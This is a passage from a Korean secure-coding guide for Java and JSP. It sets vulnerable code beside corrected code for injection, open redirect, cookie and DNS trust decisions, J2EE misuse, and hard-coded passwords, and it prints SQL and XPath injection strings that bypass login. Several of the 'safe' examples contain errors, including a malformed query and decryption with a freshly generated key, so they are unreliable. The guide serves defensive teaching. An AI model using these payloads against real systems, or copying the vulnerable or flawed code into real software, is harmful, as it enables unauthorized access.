12:             // 외부 입력을 검증없이 SQL qeuery문의 인자로 사용한다.
13:             Query query = session.createQuery("from Address a where a.name='" + idValue);
14:             query.list();
15:     } catch (IOException e) {     ……     }
16:  ……
```

위의 예제는 외부의 입력(idValue)을 아무 검증과정 없이 질의문에 그대로 사용하고 있다. 만일, 외부의 입력으로 "n' or '1'='1" 과 같은 문자열이 입력되면, 다음과 같은 질의문이 생성되어 테이블 내의 모든 레코드가 반환된다.

("from Address a where a.name='n' or '1'='1'")

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void listHoney() {
3:      Session session = new Configuration().configure().buildSessionFactory().openSession();
4:      try {
5:              Properties props = new Properties();
6:              String fileName = "Hibernate.properties";
7:              FileInputStream in = new FileInputStream(fileName);
8:              if (in == null || in.available() <= 0) return;
9:              props.load(in);
10:             ……
11:             // 외부로 부터 입력을 받는다.
12:             String idValue = props.getProperty("idLow");
13:             // 입력값에 대한 유효성을 검사한다.
14:             if (idValue == null || "".equals(idValue)) idValue = "defaultID";
15:             // SQL query 문장을 작성한다.
16:             Query query = session.createSQLQuery("select h from Honey as h where h.id '= :idVal'");
17:             query.setParameter("idVal", idValue);
18:             query.list();
19:     } catch (IOException e) {     ……     }
20:  ……
```

외부 입력(idValue)에 따른 인자값은 setParameter 메소드를 사용하여 설정함으로써 질의문의 구조가 바뀌는 것을 방지할 수 있다.

라. 참고 문헌

[1] CWE-564 SQL 삽입 공격: Hibernate - http://cwe.mitre.org/data/definitions/564.html

[2] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Output

22. 신뢰되지 않는 URL 주소로의 자동 접속 연결 (URL Redirection to Untrusted Site ('Open Redirect'))

가. 정의

외부로부터 받은 문자열을 URL 주소로 사용하여 자동으로 연결하는 서버 프로그램은 취약점을 가질 수 있다. 일반적으로 클라이언트에게 전송된 폼으로부터 전송된 URL 주소로 연결하기 때문에 안전하다고 생각할 수 있으나, 해당 폼의 요청을 변조함으로써 공격자는 희생자가 위험한 URL로 접속할 수 있도록 공격할 수 있다.

나. 안전한 코딩기법

- 타 사이트로의 자동전환에 사용할 URL과 도메인들의 화이트리스트를 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  protected void doGet(HttpServletRequest request, HttpServletResponse response)
3:                              throws ServletException, IOException {
4:      String query = request.getQueryString();
5:      if (query.contains("url")) {
6:          String url = request.getParameter("url");
7:          response.sendRedirect(url);
8:      }
9:  ……
```

위의 코드가 서버에 존재할 경우 공격자가 다음과 같은 링크를 희생자가 접근하도록 함으로써 희생자가 의도치 않는 사이트(피싱 사이트 등)로 접근하도록 만들 수 있다.

(**Click here to log in**)

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  protected void doGet(HttpServletRequest request, HttpServletResponse response)
3:                              throws ServletException, IOException {
4:      String query = request.getQueryString();
5:
6:      // 다른 페이지 이동하는 URL 리스트를 만든다.
7:      String allowURL[] = { "url1", "url2", "url3" };
8:      ArrayList arr = new ArrayList();
9:      for ( int i = 0; i < allowURL.length; i++ )
10:             arr.add(allowURL[i]);
11:
12:     if (query.contains("url")) {
13:             String url = request.getParameter("url");
14:             // url에 대한 유효성 점검을 한다. 만약 http://가 있으면 다른 도메인으로 URL을
        redirect로 의심된다.
15:             if (url != null && url.indexOf("http://") != -1 ) {
16:                     url = url.replaceAll("\r", "").replaceAll("\n",    "");
17:                     // URL 목록에 있지 않으면 요청을 거부한다.
18:                     if ( !arr.contains(url) ) throw new MyException("에러");
19:                     response.sendRedirect(url);
20:             }
21:     }
22: ……
```

접근할 URL 주소를 외부에서 직접 받는 것이 아니라, 허용할 URL과 도메인들의 화이트리스트를 작성한 다음 그 중에서 선택함으로써 악의적인 사이트 접근을 근원적으로 차단할 수 있다.

라. 참고 문헌

[1] CWE-601 신뢰되지 않는 URL 주소로의 자동 접속 연결 - http://cwe.mitre.org/data/definitions/601.html

[2] OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forward

[3] SANS 2010 Top 25 - Insecure Interaction Between Components

23. XPath 삽입
(Failure to Sanitize Data within XPath Expressions (XPath injection))

가. 정의

외부의 신뢰할 수 없는 입력을 적절한 검사 과정을 거치지 않고 XPath 질의문 생성을 위한 문자열로 사용하면, 공격자가 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하고 임의의 질의 명령어를 수행할 수 있다.

나. 안전한 코딩기법

- 기본 질의문 골격에 인자값을 설정하는 인자화된 질의문을 사용할 수 있는 XQuery 등을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:      // 외부로 부터 입력을 받음
3:      String name = props.getProperty("name");
4:      String passwd = props.getProperty("password");
5:      ……
6:      XPathFactory factory = XPathFactory.newInstance();
7:      XPath xpath = factory.newXPath();
8:      ……
9:      // 외부 입력이 xpath의 인자로 사용
10:     XPathExpression expr = xpath.compile("//users/user[login/text()='" + name
11:                 + "' and password/text() = '" + passwd + "']/home_dir/text()");
12:     Object result = expr.evaluate(doc, XPathConstants.NODESET);
13:     NodeList nodes = (NodeList) result;
14:     for (int i = 0; i < nodes.getLength(); i++) {
15:             String value = nodes.item(i).getNodeValue();
16:             if (value.indexOf(">") < 0) {
17:                     System.out.println(value);
18:             }
19:  ……
```

위의 예제에서 name의 값으로 “user1”, passwd의 값으로 “’ or ’’=’”을 전달하면 다음과 같은 질의문이 생성되어 인증과정을 거치지 않고 로그인할 수 있다.

(//users/user[login/text()=‘user1’ or ’’=’’ and password/text() = ‘’ or ’’=“]/home_dir/text())

■ 안전한 코드의 예 - JAVA

dologin.xp 파일

```
1:  declare variable $loginID as xs:string external;
2:  declare variable $password as xs:string external;
3:  //users/user[@loginID=$loginID and @password=$password]
```

XQuery를 이용한 XPath Injection 방지

```
1:  // 외부로 부터 입력을 받음
2:  String name = props.getProperty("name");
3:  String passwd = props.getProperty("password");
4:  Document doc = new Builder().build("users.xml");
5:  // XQuery를 위한 정보 로딩
6:  XQuery xquery = new XQueryFactory().createXQuery(new File("dologin.xq"));
7:  Map vars = new HashMap();
8:  vars.put("loginID", name);
9:  vars.put("password", passwd);
10:  Nodes results = xquery.execute(doc, null, vars).toNodes();
11:  for (int i=0; i < results.size(); i++) {
12:      System.out.println(results.get(i).toXML());
13:  }
```

위와 예제와 같이 인자화된 질의문을 지원하는 XQuery를 사용하여 미리 질의 골격을 생성하고 이에 인자값을 설정함으로써 외부의 입력으로 인하여 질의 구조가 바뀌는 것을 막을 수 있다.

라. 참고 문헌

[1] CWE-643 XPath 삽입 - http://cwe.mitre.org/data/definitions/643.html
[2] OWASP Top 10 2010 A1 Injection Flaws
[3] Web Application Security Consortium. "XPath Injection".
http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml

24. XQuery 삽입
(Failure to Sanitize Data within XQuery Expressions (XQuery injection))

가. 정의

XQuery를 사용하여 XML 데이터에 접근하는 응용프로그램에서 외부의 입력이 질의문 문자열을 생성하는데 사용될 경우에, 공격자는 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 질의 명령어를 수행할 수 있다.

나. 안전한 코딩기법

- prepareExpression() 메소드에 상수 문자열을 사용하여 인자를 받는 질의문(Parameterized Query)을 생성하고, 나중에 인자를 설정함으로써 질의 구조의 변형을 방지한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:      // 외부로 부터 입력을 받음
3:      String name = props.getProperty("name");
4:      Hashtable env = new Hashtable();
5:      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
6:      env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
7:      javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8:      javax.xml.xquery.XQDataSource xqds =
9:                  (javax.xml.xquery.XQDataSource) ctx.lookup("xqj/personnel");
10:     javax.xml.xquery.XQConnection conn = xqds.getConnection();
11:
12:     String es = "doc('users.xml')/userlist/user[uname='" + name + "']";
13:     // 입력값이 Xquery의 인자로 사용
14:     XQPreparedExpression expr = conn.prepareExpression(es);
15:     XQResultSequence result = expr.executeQuery();
16:     while (result.next()) {
17:         String str = result.getAtomicValue();
18:         if (str.indexOf('>') < 0) {
19:             System.out.println(str);
20:         }
21: ……
```

위의 예제는 외부의 입력(name)값을 executeQuery를 사용한 질의생성의 문자열 인자 생성에 사용하고 있다. 만일 다음과 something' or '='1 을 name의 값으로 전달하면 아래와 같은 질의문을 수행할 수 있으며, 이를 통해 파일 내의 모든 값을 출력할 수 있게 된다.

(doc('users.xml')/userlist/user[uname='something' or '='])

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:      // 외부로 부터 입력을 받음
3:      String name = props.getProperty("name");
4:      Hashtable env = new Hashtable();
5:      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
6:      env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
7:      javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8:      javax.xml.xquery.XQDataSource xqds =
9:                  (javax.xml.xquery.XQDataSource) ctx.lookup("xqj/personnel");
10:     javax.xml.xquery.XQConnection conn = xqds.getConnection();
11:
12:     String es = "doc('users.xml')/userlist/user[uname='$xpathname']";
13:     // 입력값이 Xquery의 인자로 사용
14:     XQPreparedExpression expr = conn.prepareExpression(es);
15:     expr.bindString(new QName("xpathname"), name, null);
16:     XQResultSequence result = expr.executeQuery();
17:     while (result.next()) {
18:         String str = result.getAtomicValue();
19:         if (str.indexOf('>') < 0) {
20:             System.out.println(str);
21:         }
22: ……
```

위와 같이 외부입력 값을 받고 해당 값 기반의 XQuery상의 질의 구조를 변경시키지 않는 bindXXX 함수를 이용함으로써 외부의 입력으로 인하여 질의 구조가 바뀌는 것을 막을 수 있다.

라. 참고 문헌

[1] CWE-652 XQuery 삽입 - http://cwe.mitre.org/data/definitions/652.html
[2] OWASP Top 10 2010 A1 Injection Flaws

25. 보안결정을 신뢰할 수 없는 입력 값에 의존 (Reliance on Untrusted Inputs in a Security Decision)

가. 정의

응용프로그램의 보안결정이 입력값의 내용에 의지하는 경우에 발생하는 취약점이다.
입력값이 신뢰할 수 없는 사용자에 의해서 변조되는 경우 응용프로그램의 보호수단을 피해갈 수 있는 방법을 제공하게 된다.

나. 안전한 코딩기법

- 시스템의 상태정보와 중요한 정보는 서버에만 저장한다.
- 중요한 정보를 클라이언트 쪽에 저장할 경우, 암호화와 무결성 검사를 거친 데이터만 저장되도록 한다.
- 외부입력과 관련된 검사가 자바스크립트를 통해 브라우저에서 이루어지더라도 서버 측에서 재검사를 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JSP

```
1:  <%
2:  String username = request.getParameter("username");
3:  String password = request.getParameter("password");
4:  if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5:      throw new MyException("인증 에러");
6:  }
7:  Cookie userCookie = new Cookie("user",username);
8:  Cookie authCookie = new Cookie("authenticated","1");
9:
10:  response.addCookie(userCookie);
11:  response.addCookie(authCookie);
12:  %>
```

평문으로 사용자의 인증정보 및 “authenticated”를 쿠키에 저장하고 있다. 공격자는 쿠키정보를 변경 가능하기 때문에 중요한 정보를 쿠키에 저장시에는 암호화해서 사용하고, 가급적 해당정보는 WAS(Web Application Server) 서버의 세션에 저장한다.

■ 안전한 코드의 예 - JSP

```
1:  <%
2:  String username = request.getParameter("username");
3:  String password = request.getParameter("password");
4:  if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5:      throw new MyException("인증 에러");
6:  }
7:  // 사용자 정보를 세션에 저장한다.
8:  HttpSession ses = new HttpSession(true);
9:  ses.putValue("user",username);
10:  ses.putValue("authenticated","1");
11:  %>
```

사용자의 인증정보를 세션에 저장함으로써 인증정보가 외부에 노출될 가능성은 없다.

라. 참고문헌

[1] CWE-807 보안결정을 신뢰할 수 없는 입력값에 의존 - http://cwe.mitre.org/data/definitions/807.html
CWE-247 보안 결정시 DNS Lookup에 의존 - http://cwe.mitre.org/data/definitions/247.html
CWE-302 허위-불변 데이터로 인증우회 - http://cwe.mitre.org/data/definitions/302.html
CWE-784 보안 의사결정에서 검증 및 무결성 점검 없이 쿠키신뢰 - http://cwe.mitre.org/data/definitions/784.html

[2] CWE/SANS Top 25 Most Dangerous Software Errors

제2절 API 악용

API(Application Programming Interface)는 운영체제와 응용프로그램간의 통신에 사용되는 언어나 메시지 형식 또는 규약으로, 응용 프로그램 개발시 개발 편리성 및 효율성을 제공하는 이점이 있다. 그러나 API 오용 및 취약점이 알려진 API의 사용은 개발효율성 및 유지보수성의 저하 및 보안상의 심각한 위협요인이 될 수 있다.

1. J2EE: 직접 연결 관리 (J2EE Bad Practices: Direct Management of Connections)

가. 정의

J2EE 애플리케이션이 컨테이너에서 제공하는 자원 연결 관리를 사용하지 않고 직접 제작하는 경우 에러를 유발할 수 있기 때문에 J2EE 표준에서 금지하고 있다.

나. 안전한 코딩기법

- J2EE 애플리케이션이 컨테이너에서 제공하는 연결 관리 기능을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U245 extends   javax.servlet.http.HttpServlet {
2:      private Connection conn;
3:
4:      public void dbConnection(String url, String user, String pw) {
5:          try {
6:              // j2ee 서블릿에서 자원에 대한 연결을 직접 얻는다.
7:              conn =   DriverManager.getConnection(url, user, pw);
8:          } catch (SQLException e) {
9:              System.err.println("...");
10:          } finally {
11:      ……
12:  }
```

연결(connection)을 직접 관리 하면 안된다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S245 extends    javax.servlet.http.HttpServlet {
2:      private static final String CONNECT_STRING =    "jdbc:ocl:orcl";
3:
4:      public void dbConnection() throws NamingException, SQLException {
5:          Connection conn = null;
6:           try {
7:               //  자원관리기능을 이용해서 자원에 대한 연결을 얻는다.
8:               InitialContext ctx = new InitialContext();
9:               DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
10:              conn = datasource.getConnection();
11:          } catch (SQLException e) {
12:        ……
13:          } finally {
14:            if ( conn != null )
15:              conn.close();
16:          }
17:  }
```

자원 관리 기능을 사용하여 자원에 대한 연결을 얻어야 한다.

라. 참고 문헌

[1] CWE-245 J2EE: 직접 연결 관리 - http://cwe.mitre.org/data/definitions/245.html

2. J2EE: 직접 소켓 사용(J2EE Bad Practices: Direct Use of Sockets)

가. 정의

J2EE 애플리케이션이 프레임워크 메소드 호출을 사용하지 않고, 소켓을 직접 사용하는 경우 채널 보안, 에러 처리, 세션 관리 등 다양한 고려 사항이 필요하다.

나. 안전한 코딩기법

- 소켓을 직접 사용하는 대신에 프레임워크에서 제공하는 메소드 호출을 사용해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class S246 extends    javax.servlet.http.HttpServlet {
2:      private Socket socket;
3:
4:      protected void doGet(HttpServletRequest request,
5:              HttpServletResponse    response) throws ServletException {
6:          try {
7:          // J2EE 응용프로그램에서 프레임워크 메소드 호출 대신에 소켓(Socket)을 직접
    사용하고 있다.
8:              socket = new Socket("kisa.or.kr", 8080);
9:          } catch (UnknownHostException e) {
10:             System.err.println("UnknownHostException    occured");
11:         } catch (IOException e) {
12:             System.err.println("IOException    occured");
13:         } finally {
14:             ...
15:         }
16:     }
17: }
```

doGet 메소드 내에서 소켓(Socket)을 직접 사용하면 위험하다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S246 extends  javax.servlet.http.HttpServlet {
2:      protected  void doGet(HttpServletRequest request,
3:                          HttpServletResponse response) throws  ServletException {
4:          ObjectOutputStream oos = null;
5:          ObjectInputStream ois = null;
6:          try {
7:          // 타겟이 WAS로 작성이 되면 URL Connection을 이용하거나, EJB를 통해서 호출한다.
8:              URL url = new URL("http://127.0.0.1:8080/DataServlet");
9:              URLConnection urlConn = url.openConnection();
10:             urlConn.setDoOutput(true);
11:             oos = new ObjectOutputStream(urlConn.getOutputStream());
12:             oos.writeObject("data");
13:             ois = new  ObjectInputStream(urlConn.getInputStream());
14:             Object obj = ois.readObject();
15:         } catch (ClassNotFoundException e) {
16:             System.err.println("Class  Not Found");
17:         } catch (IOException e) {
18:             System.err.println("URL  Connection Error occured");
19:         } finally {
20:           ……
21:         }
22:     }
23: }
```

자원 관리 기능을 사용하여 자원에 대한 연결을 얻어야 한다.

라. 참고 문헌

[1] CWE-246 J2EE: 직접 소켓 사용 - http://cwe.mitre.org/data/definitions/246.html

3. 보안 결정시 DNS lookup에 의존 (Reliance on DNS Lookups in a Security Decision)

가. 정의

공격자가 DNS 엔트리를 속일 수 있다. 보안 상 DNS 명에 의존하면 안 된다. DNS 서버는 스푸핑 공격 대상이며, SW가 훼손된 DNS 서버 환경에서 언젠가는 실행될 수 있음을 가정하여야 한다. 만일 공격자가 DNS를 수정할 수 있다면, 공격자 IP 주소로 도메인명을 지정할 수 있다.

나. 안전한 코딩기법

- IP 주소도 조작 가능하지만 DNS 이름보다는 안전하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U247 extends  HttpServlet {
2:      public void doGet(HttpServletRequest req,  HttpServletResponse res)
3:              throws ServletException,  IOException {
4:          boolean trusted = false;
5:          String ip = req.getRemoteAddr();
6:
7:          // 호스트의 IP 주소를 얻어온다.
8:          InetAddress addr = InetAddress.getByName(ip);
9:
10:         // 호스트의 IP정보와 지정된 문자열(trustme.com)이 일치하는지 검사한다.
11:         if (addr.getCanonicalHostName().endsWith("trustme.com") ) {
12:             trusted = true;
13:         }
14:         if (trusted) {
15:             ……
16:         } else {
17:             ……
18:         }
19:     }
20: }
```

DNS 이름을 통해 해당 요청이 신뢰할 수 있는지를 검사한다. 그러나 공격자가 DNS 캐쉬 등을 조작하면 잘못된 신뢰 상태 정보를 얻을 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S247 extends    HttpServlet {
2:
3:      public void doGet(HttpServletRequest req, HttpServletResponse    res)
4:              throws ServletException,    IOException {
5:
6:          String ip = req.getRemoteAddr();
7:          if ( ip == null || "".equals(ip) )
8:            return ;
9:
10:         String trustedAddr = "127.0.0.1";
11:
12:         if (ip.equals(trustedAddr) ) {
13:             ……
14:         } else {
15:             ……
16:         }
17:     }
18: }
```

DNS lookup에 의한 호스트 이름 비교를 하지 않고 IP 주소를 직접 비교하도록 수정한다.

라. 참고 문헌

[1] CWE-247 보안 결정시 DNS lookup에 의존 - http://cwe.mitre.org/data/definitions/247.html

[2] SANS Top 25 2010 - (SANS 2010) Porus Defense - CWE ID 807 Reliance on Untrusted Inputs in a Security Decision

4. J2EE: System.exit() 사용(J2EE Bad Practices : Use of System.exit())

가. 정의

J2EE 응용프로그램에서 System.exit()의 사용은 컨테이너까지 종료시킨다.

나. 안전한 코딩기법

- J2EE 프로그램에서 System.exit를 사용해서는 안 된다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U382 extends  HttpServlet {
2:      public void doPost(HttpServletRequest request,  HttpServletResponse response)
3:              throws ServletException,  IOException {
4:
5:          FileHandler handler = new  FileHandler("errors.log");
6:          Logger logger =  Logger.getLogger("com.mycompany");
7:          logger.addHandler(handler);
8:          try {
9:              do_something(logger);
10:         } catch (IOException ase) {
11:             // J2EE 프로그램에서 System.exit()을 사용
12:             System.exit(1);
13:         }
14:     }
15:
16:     private void do_something(Logger logger) throws  IOException {
17:     }
18: }
```

doPost() 메소드 내에서 System.exit()를 호출하면 컨테이너까지 종료된다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S382 extends  HttpServlet {
2:      public void doPost(HttpServletRequest request,  HttpServletResponse response)
3:              throws ServletException,  IOException {
4:
5:          FileHandler handler = new  FileHandler("errors.log");
6:          Logger logger =  Logger.getLogger("com.mycompany");
7:          logger.addHandler(handler);
8:          try {
9:              do_something(logger);
10:         } catch (IOException ase) {
11:             logger.info("Caught:  " + ase.toString());
12:             // System.exit(1)의 사용을 금한다.
13:             // System.exit(1);
14:         }
15:     }
16:
17:     private void do_something(Logger logger) throws  IOException {
18:     }
19: }
```

System.exit()를 호출하지 않고 doPost 메소드를 종료한다.

라. 참고 문헌

[1] CWE-382 J2EE: System.exit() 사용 - http://cwe.mitre.org/data/definitions/382.html

5. null 매개변수 미검사(Missing Check for Null Parameter)

가. 정의

Java 표준에 따르면 Object.equals(), Comparable.compareTo() 및 Comparator.compare()의 구현은 매개변수가 null인 경우 지정된 값을 반환해야 한다. 이 약속을 따르지 않으면 예기치 못한 동작이 발생할 수 있다.

나. 안전한 코딩기법

- Object.equals(), Comparable.compareTo()과 Comparator.compare() 구현에서는 매개변수를 null과 비교해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:   public class U9201 implements java.util.Comparator {
2:       public int compare(Object o1, Object o2) {
3:           // o1, o2에 대한 null 체크 유무가 없음
4:           int i1 = o1.hashCode();
5:           int i2 = o2.hashCode();
6:           int ret;
7:           if (i1 > i2) {     ret = 1;      }
8:           else if (i1 == i2) {     ret = 0;      }
9:           else {     ret = -1;      }
10:          return ret;
11:      }
12:      ……
13:  }
```

매개 변수가 null인지 검사하지 않았다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S9201 implements java.util.Comparator {
2:      public int compare(Object o1, Object o2) {
3:              int ret;
4:              // 비교되는 객체에 대한 null 여부를 점검을 한다.
5:              if (o1 != null && o2 != null) {
6:                      int i1 = o1.hashCode();
7:                      int i2 = o2.hashCode();
8:                      if (i1 > i2) {      ret = 1;      }
9:                      else if (i1 == i2) {      ret = 0;      }
10:                     else {      ret = -1;      }
11:             } else
12:                     ret = -1;
13:             return ret;
14:     }
15:     ……
16: }
```

매개 변수가 null인지 먼저 검사한다.

라. 참고 문헌

[1] CWE-398 부족한 코드 품질 지시자 - http://cwe.mitre.org/data/definitions/398.html

6. EJB: 소켓 사용(EJB Bad Practices: Use of Sockets)

가. 정의

Enterprise JavaBeans(EJB) 규격에는 bean내부에서 서버 소켓(ServerSocket)을 직접 사용하여 클라이언트에 서비스를 제공하는 것을 금지하고 있다. EJB 컨테이너 내의 bean은 모두 EJB 클라이언트에 대해서 네트워크 서버 형태로 서비스를 제공하도록 설계되어 있는데 bean 내에서 다시 ServerSocket을 생성 할 경우 구조적인 혼동을 야기할 수 있기 때문이다.

나. 안전한 코딩기법

- EJB 프로그램에서 서버 소켓을 사용하지 않는다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:       public void function_test() throws IOException {
3:           ServerSocket s = new ServerSocket(1122);
4:           Socket clientSocket = serverSocket.accept();
5:           ……
6:       }
7:       ……
```

EJB 프로그램에서 서버 소켓을 사용하면 안 된다.

■ 안전한 코드의 예 - JAVA

```
1:      ……
2:       public void function_test() throws IOException {
3:           // EJB기반에서 server socket 사용을 금한다.
4:           // ServerSocket s = new ServerSocket(1122);
8:           // Socket clientSocket = serverSocket.accept();
9:           ……
5:       }
6:       ……
```

EJB 프로그램에서 서버 소켓을 사용하면 안 된다.

라. 참고 문헌

[1] CWE-577 EJB: 소켓 사용 - http://cwe.mitre.org/data/definitions/577.html

7. equals()와 hashCode() 하나만 정의 (Object Model Violation: Just one of equals() and hashCode() Defined)

가. 정의

Java 표준에 따르면, Java의 같은 객체는 같은 해시코드를 가져야 한다.
즉 "a.equals(b) == true"이면 "a.hashCode() == b.hashCode()" 이어야 한다. 따라서 한 클래스 내에서 equals()와 hashCode()는 둘 다 구현하거나 둘 다 구현하지 않아야 한다.

나. 안전한 코딩기법

- 한 클래스 내에 equals()를 정의하면 hashCode()도 정의해야 하고 hashCode()를 정의하면 equals()도 정의해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U581 {
2:      ……
3:      // equals()만 구현
4:      public boolean equals(Object obj) {
5:              boolean ret;
6:              if (obj != null) {
7:                      int i1 = this.hashCode();
8:                      int i2 = obj.hashCode();
9:                      if (i1 == i2)  {       ret = true;     }
10:                     else {      ret = false;     }
11:             } else {
12:                     ret = false;
13:             }
14:             return ret;
15:     }
16:     ……
17: }
```

equals()와 hashCode() 중 하나만 정의하였다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S581 {
2:      ……
3:      // 자신의 객체와 비교하는 equals() 구현
4:      public boolean equals(Object obj) {
5:          boolean ret;
6:          if (obj != null) {
7:              int i1 = this.hashCode();
8:              int i2 = obj.hashCode();
9:              if (i1 == i2) {     ret = true;     }
10:             else {      ret = false;     }
11:         } else {
12:             ret = false;
13:         }
14:         return ret;
15:     }
16:     // hashCode() 구현
17:     public int hashCode() {
18:         return new HashCodeBuilder(17, 37).toHashCode();
19:     }
20:     ……
21: }
```

equals()와 hashCode() 모두 정의해야 한다.

라. 참고 문헌

[1] CWE-581 equals()와 hashCode() 하나만 정의 - http://cwe.mitre.org/data/definitions/581.html

제3절 보안특성

기본적인 보안 기능을 다룰 때는 세심한 주의가 필요하다. 부적절한 보안특성의 사용은 오히려 성능이나 부가적인 문제를 불러 올 수도 있다. 보안특성에는 인증, 접근제어, 기밀성, 암호화, 권한 관리 등이 포함된다.

1. 하드코드된 패스워드(Hard-coded Password)

가. 정의

SW가 코드 내부에 하드코드된 패스워드를 포함하고, 이를 이용하여 내부 인증에 사용하거나 외부 컴포넌트와 통신을 하는 것은 위험하다. 코드 내부에 하드코드된 패스워드가 인증 실패를 야기하는 경우 시스템 관리자가 그 실패의 원인을 탐지하는 것은 어렵다. 원인이 파악이 되더라도 하드코드된 패스의 수정이 어렵기 때문에, 시스템 관리자는 SW 시스템 전체를 중지시켜 해결해야 하는 경우가 발생할 수 있다.

나. 안전한 코딩기법

- 패스워드는 암호화하여 별도의 파일에 저장하여 사용하는 것이 바람직하다.
- SW 설치 시 사용하는 디폴트 패스워드, 키 등을 사용하는 대신 "최초-로그인" 모드를 두어 사용자가 직접 강력한 패스워드나 키를 입력하도록 설계한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U259 {
2:      private Connection conn;
3:
4:      public Connection DBConnect(String url, String id) {
5:          try {
6:              // password가 하드-코드 되어있다.
7:              conn =   DriverManager.getConnection(url, id, "tiger");
8:          } catch (SQLException e) {
9:              System.err.println("...");
10:         }
11:         return conn;
12:     }
13:     ……
14: }
```

데이터베이스를 연결하기 위하여 코드 내부에 상수 형태로 정의된 패스워드를 사용하면 프로그램에 취약점을 야기할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S259 {
2:      public Connection connect(Properties props) throws NoSuchAlgorithmException,
                    NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException,
                                                                    BadPaddingException {
3:      try {
4:              String url = props.getProperty("url");
5:              String id = props.getProperty("id");
6:              String pwd = props.getProperty("passwd");
7:
8:      //외부 설정 파일에서 패스워드를 가져오며, 패스워드가 값이 있는지 체크하고 있음
9:              if (url != null && !"".equals(url) && id != null &&    !"".equals(id)
10:                                      && pwd != null &&    !"".equals(pwd)) {
11:                     KeyGenerator kgen = KeyGenerator.getInstance("Blowfish");
12:                     SecretKey skey = kgen.generateKey();
13:                     byte[] raw = skey.getEncoded();
14:                     SecretKeySpec skeySpec = new SecretKeySpec(raw, "Blowfish");
15:
16:                     Cipher cipher = Cipher.getInstance("Blowfish");
17:                     cipher.init(Cipher.DECRYPT_MODE, skeySpec);
18:                     byte[] decrypted_pwd = cipher.doFinal(pwd.getBytes());
19:                     pwd = new String(decrypted_pwd);
20:                     conn = DriverManager.getConnection(url, id, pwd);
21:             }
22:       } catch (SQLException e) {
23:    ……
```

데이터베이스를 사용하는 프로그램 작성시 패스워드를 구하는 로직을 따로 구현하여, 주어진 로직에 의하여 검증된 패스워드를 사용한다.

■ 안전하지 않은 코드의 예 - JAVA

```
1:  try {
2:      Connection con = DriverManager.getConnection(url, "scott", "tiger");
3:       .....
4:  } catch (SQLException e) {
5:              throw new MyException("DB 에러");
6:  }
```

DB Connection 객체를 생성할 때, 디폴트 설치시 제공되는 계정을 사용하고 있다.
패스워드가 프로그램 내에 하드 코딩되어 있어 외부에 노출되기 쉽다.

■ 안전한 코드의 예 - JAVA

```
1:  /* mkstore -wrl /mydir -createCredential MyTNSName some_user some_password */
2:  try {
3:          System.setProperty("oracle.net.tns_admin", "/mydir");
4:          java.util.Properties info = new java.util.Properties();
5:  // DB 커넥션을 위한 계정은 oracle 기능을 사용한다.
6:          info.put("oracle.net.wallet_location",
7:          "(SOURCE=(METHOD=file)(METHOD_DATA=(DIRECTORY=/mydir)))");
8:          OracleDataSource ds = new OracleDataSource();
9:          ds.setURL("jdbc:oracle:thin:@MyTNSName");
10:         ds.setConnectionProperties(info);
11:         Connection conn = ds.getConnection();
12:  } catch (SQLException e) {
13:         throw new MyException("DB 에러");
14:  }
```

오라클 툴인 mkstore를 사용하여 DB 계정을 암호화하여 사용한다.

라. 참고 문헌

[1] CWE-259 하드코드된 패스워드 - http://cwe.mitre.org/data/definitions/259.html
CWE-321 하드코드된 암호화키 - http://cwe.mitre.org/data/definitions/321.html
CWE-798 하드코드된 증명서 - http://cwe.mitre.org/data/definitions/798.html

[2] SANS Top 25 2010 - (SANS 2010) Porus Defense - CWE ID 798 Use of Hard-coded Credentials

2. 부적절한 인가(Improper Authorization)

가. 정의

SW가 모든 가능한 실행경로에 대해서 접근제어를 검사하지 않거나 불완전하게 검사하는 경우, 공격자는 접근가능한 실행경로를 통해 정보를 유출할 수 있다.

나. 안전한 코딩기법

- 응용프로그램이 제공하는 정보와 기능을 역할에 따라 배분함으로써 공격자에게 노출되는 공격표면(attack surface)을 감소시킨다.
- 사용자의 권한에 따른 ACL(Access Control List)을 관리한다.

